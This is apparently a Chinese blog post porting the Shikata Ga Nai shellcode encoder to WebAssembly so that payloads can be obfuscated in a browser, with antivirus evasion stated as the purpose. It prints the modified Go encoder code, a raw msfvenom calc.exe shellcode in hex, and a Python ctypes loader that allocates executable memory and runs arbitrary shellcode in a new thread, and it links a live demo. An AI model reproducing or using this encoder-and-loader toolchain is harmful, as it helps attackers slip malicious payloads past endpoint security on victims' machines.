將Shikata ga nai帶到前端

Shikata ga nai是什麼

Metasploit-Framework是一個漏洞利用框架,裏面有大量的漏洞庫,針對shellcode一些混淆編碼器可以讓用戶bypass一些安全軟件,其中一個比較核心的編碼器是Shikata Ga Nai (SGN)。

shellcode 主要是機器碼,也可以看作一段彙編指令。Metasploit 在默認配置下就會對payload進行編碼。雖然 Metasploit 有各種編碼器,但最受歡迎的是 SGN。日語中的短語 SGN 的意思是“無能爲力”,之所以這樣說,是因爲它在創建時傳統的反病毒產品難以檢測。

檢測 SGN 編碼的payload很困難,尤其是在嚴重依賴靜態檢測的情況下。任何基於規則的靜態檢測機制基本上都無法檢測到用 SGN 編碼的payload。而不斷掃描內存的計算成本很高,因此不太可行。這使得大多數殺軟依賴於行爲指標和沙箱進行檢測。

爲什麼說帶到前端

首先介紹下 EgeBalci/sgn,這個項目將msf的Shikata Ga Nai編碼器移植到了Golang,使得用戶可以不通過msf即可享受到SGN的能力。

既然這個項目是非平臺依賴的工具,那我們可以考慮將它移植到前端,這樣用戶只需要打開瀏覽器就能用了。

移植思路

首先我們可以考慮:sgn是一個golang項目,所以我們可以編譯到wasm,然後暴露api給javascript來調用,這樣就可以實現前端使用sgn了。

但是遇到了一些問題。

該項目並不是一個Pure Go項目,它依賴cgo,沒辦法編譯到wasm。

但是我記得 github.com/therecipe/qt 可以編譯到wasm,通過一些研究,發現它是採用了go-js-qt的橋接,qt是可以編譯到wasm的,go也可以編譯到wasm,然後兩者之間再橋接起來。那我們可以嘗試先將 github.com/keystone-engine/keystone 編譯到wasm,然後將sgn項目裏面調用cgo的地方全部使用 syscall/js 橋接到keystone上去,此時sgn變成了一個Pure Go項目,可以將其編譯到wasm了,然後再暴露出一個接口就可以供js使用了

實現手段

cgo到橋接

sgn裏面需要使用cgo是因爲依賴 github.com/EgeBalci/keystone-go,看了一下這個項目,其實是keystone的包裝,keystone是一個c++寫的項目,所以我們可以考慮使用 emscripten 來將keystone編譯到wasm,不過該項工作已經有人做了,我們在這邊就不自己再花時間搭環境編譯了,可以看看 alexaltea.github.io/keystone.js/

然後我們看看sgn裏面依賴cgo的地方,主要是在 pkg/sgn.go

package sgn

import (
	...
	"github.com/EgeBalci/keystone-go"
)

...
// Assemble assembes the given instructions
// and return a byte array with a boolean value indicating wether the operation is successful or not
func (encoder Encoder) Assemble(asm string) ([]byte, bool) {
	var mode keystone.Mode
	switch encoder.architecture {
	case 32:
		mode = keystone.MODE_32
	case 64:
		mode = keystone.MODE_64
	default:
		return nil, false
	}

	ks, err := keystone.New(keystone.ARCH_X86, mode)
	if err != nil {
		return nil, false
	}
	defer ks.Close()

	err = ks.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_INTEL)
	if err != nil {
		return nil, false
	}
	//log.Println(asm)
	bin, _, ok := ks.Assemble(asm, 0)
	return bin, ok
}

// GetAssemblySize assembes the given  instructions and returns the total instruction size
// if assembly fails return value is -1
func (encoder Encoder) GetAssemblySize(asm string) int {
	var mode keystone.Mode
	switch encoder.architecture {
	case 32:
		mode = keystone.MODE_32
	case 64:
		mode = keystone.MODE_64
	default:
		return -1
	}

	ks, err := keystone.New(keystone.ARCH_X86, mode)
	if err != nil {
		return -1
	}
	defer ks.Close()

	err = ks.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_INTEL)
	if err != nil {
		return -1
	}
	//log.Println(asm)
	bin, _, ok := ks.Assemble(asm, 0)

	if !ok {
		return -1
	}
	return len(bin)
}
...

其實工作量並不大,只是需要把所有對 keystone-go 的調用換到keystone.js上即可。

可以一步步按照 https://pkg.go.dev/syscall/js 上面的api文檔對照着改,這裏我就不詳細闡述語法了,之間將改動後的貼上來

package sgn

import (
	...
	"syscall/js"
)

func GetKeystone() js.Value {
	return js.Global().Get("ks")
}

// Assemble assembes the given instructions
// and return a byte array with a boolean value indicating wether the operation is successful or not
func (encoder Encoder) Assemble(asm string) ([]byte, bool) {
	var mode js.Value
	switch encoder.architecture {
	case 32:
		mode = GetKeystone().Get("MODE_32")
	case 64:
		mode = GetKeystone().Get("MODE_64")
	default:
		return nil, false
	}

	keystoneFunc := GetKeystone().Get("Keystone")

	ks := keystoneFunc.New(GetKeystone().Get("ARCH_X86"), mode)
	if !ks.Truthy() {
		return nil, false
	}
	defer ks.Call("close")

	ks.Call("option", GetKeystone().Get("OPT_SYNTAX"), GetKeystone().Get("OPT_SYNTAX_INTEL"))
	v := ks.Call("asm", asm)
	if !v.Truthy() {
		return nil, false
	}
	ok := !v.Get("failed").Bool()
	if !v.Get("mc").Truthy() {
		return nil, false
	}
	var bin = make([]byte, v.Get("mc").Length())
	for i:=0; i<v.Get("mc").Length(); i++ {
		bin[i] = byte(v.Get("mc").Index(i).Int())
	}
	return bin, ok
}

// GetAssemblySize assembes the given  instructions and returns the total instruction size
// if assembly fails return value is -1
func (encoder Encoder) GetAssemblySize(asm string) int {
	var mode js.Value
	switch encoder.architecture {
	case 32:
		mode = GetKeystone().Get("MODE_32")
	case 64:
		mode = GetKeystone().Get("MODE_64")
	default:
		return -1
	}

	keystoneFunc := GetKeystone().Get("Keystone")

	ks := keystoneFunc.New(GetKeystone().Get("ARCH_X86"), mode)
	if !ks.Truthy() {
		return -1
	}
	defer ks.Call("close")

	ks.Call("option", GetKeystone().Get("OPT_SYNTAX"), GetKeystone().Get("OPT_SYNTAX_INTEL"))

	//log.Println(asm)
	v := ks.Call("asm", asm)
	if !v.Truthy() {
		return -1
	}
	ok := v.Get("failed").Bool()
	if !ok {
		return -1
	}
	if !v.Get("mc").Truthy() {
		return -1
	}
	return v.Get("mc").Length()
}

可以看到基本上就是使用 syscall/js 庫按照 keystone.js 的文檔再把原先的實現一遍。

現在可以編譯到wasm了 GOARCH=wasm GOOS=js go build -trimpath -ldflags="-s -w"

然後可以使用 https://github.com/golang/go/blob/master/misc/wasm/go_js_wasm_exec 運行測試下,我這裏就不做了。

api暴露

我們js調用wasm庫,肯定需要一個api入口,我們可以將sgn的main入口改造一下

go編譯到wasm後需要一個特殊的js文件加載下,具體需要 https://github.com/golang/go/blob/master/misc/wasm/wasm_exec.js

相關樣例可以查看golang官方示例 https://github.com/golang/go/blob/master/misc/wasm/wasm_exec.html

然後我們可以將main函數改寫一下

func sgnExec(arch, encCount, obsLevel int, encDecoder, asciPayload, saveRegisters bool, badChars, input string) map[string]interface{} {
	var res = map[string]interface{}{
		"err": nil,
		"result": nil,
	}
	source, err := hex.DecodeString(strings.ReplaceAll(input, `\x`, ""))
	if err != nil {
		res["err"] = err
		return res
	}
	payload := []byte{}
	encoder := sgn.NewEncoder()
	encoder.ObfuscationLimit = obsLevel
	encoder.PlainDecoder = encDecoder
	encoder.EncodingCount = encCount
	encoder.SaveRegisters = saveRegisters
	eror(encoder.SetArchitecture(arch))

	if badChars != "" || asciPayload {
		badBytes, err := hex.DecodeString(strings.ReplaceAll(badChars, `\x`, ""))
		eror(err)

		for {
			p, err := encode(encoder, source)
			eror(err)

			if (asciPayload && isASCIIPrintable(string(p))) || (len(badBytes) > 0 && !containsBytes(p, badBytes)) {
				payload = p
				break
			}
			encoder.Seed = (encoder.Seed + 1) % 255
		}
	} else {
		payload, err = encode(encoder, source)
		eror(err)
	}
	res["result"] = hex.EncodeToString(payload)
	return res
}

sgnExec 實現了原先main的功能,只是把命令行參數改爲了函數參數傳入,然後我們把這個函數暴露給js,需要爲 sgnExec 函數套一個殼,從 args[0] 獲取入參,計算結果用 js.ValueOf 包裝,並返回。

func sgnFunc(this js.Value, args []js.Value) interface{} {
	arch := args[0].Int()
	encCount := args[1].Int()
	obsLevel := args[2].Int()
	encDecoder := args[3].Bool()
	asciPayload := args[4].Bool()
	saveRegisters := args[5].Bool()
	badChars := args[6].String()
	input := args[7].String()
	return js.ValueOf(sgnExec(arch, encCount, obsLevel, encDecoder, asciPayload, saveRegisters, badChars, input))
}

該函數將js傳入的參數進行轉換然後調用sgnExec並將結果返回

然後我們使用 js.Global().Set() 方法,將函數 sgnFunc 註冊到全局,以便在瀏覽器中能夠調用。

func main() {
	done := make(chan int, 0)
	js.Global().Set("sgnFunc", js.FuncOf(sgnFunc))
	<-done
}

現在可以導入這個wasm,然後通過js來調用函數 sgnFunc 了。可以按照前面給出的golang官方示例寫一個簡陋的前端。下面會給出一個live demo

測試

首先我們先生成一個shellcode,這裏我直接使用msf

$ ./msfvenom -p windows/x64/exec CMD=calc.exe -f hex
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 276 bytes
Final size of hex file: 552 bytes
fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500

然後我們快速寫個py腳本執行測試下shellcode

import ctypes
import sys

shellcode = bytes.fromhex(sys.argv[1].strip())

shellcode = bytearray(shellcode)
# 設置VirtualAlloc返回類型爲ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申請內存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 創建一個線程從shellcode防止位置首地址開始執行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面創建的線程運行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

然後運行下原始的shellcode

可以看到彈出了計算器

然後我們放在頁面上編碼混淆一下

然後運行一下

可以看到,shellcode功能正常。

Live Demo

如果大家想在線體驗一下,可以到 http://hacktech.cn/sgn-html/ 體驗一下。

Reference

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章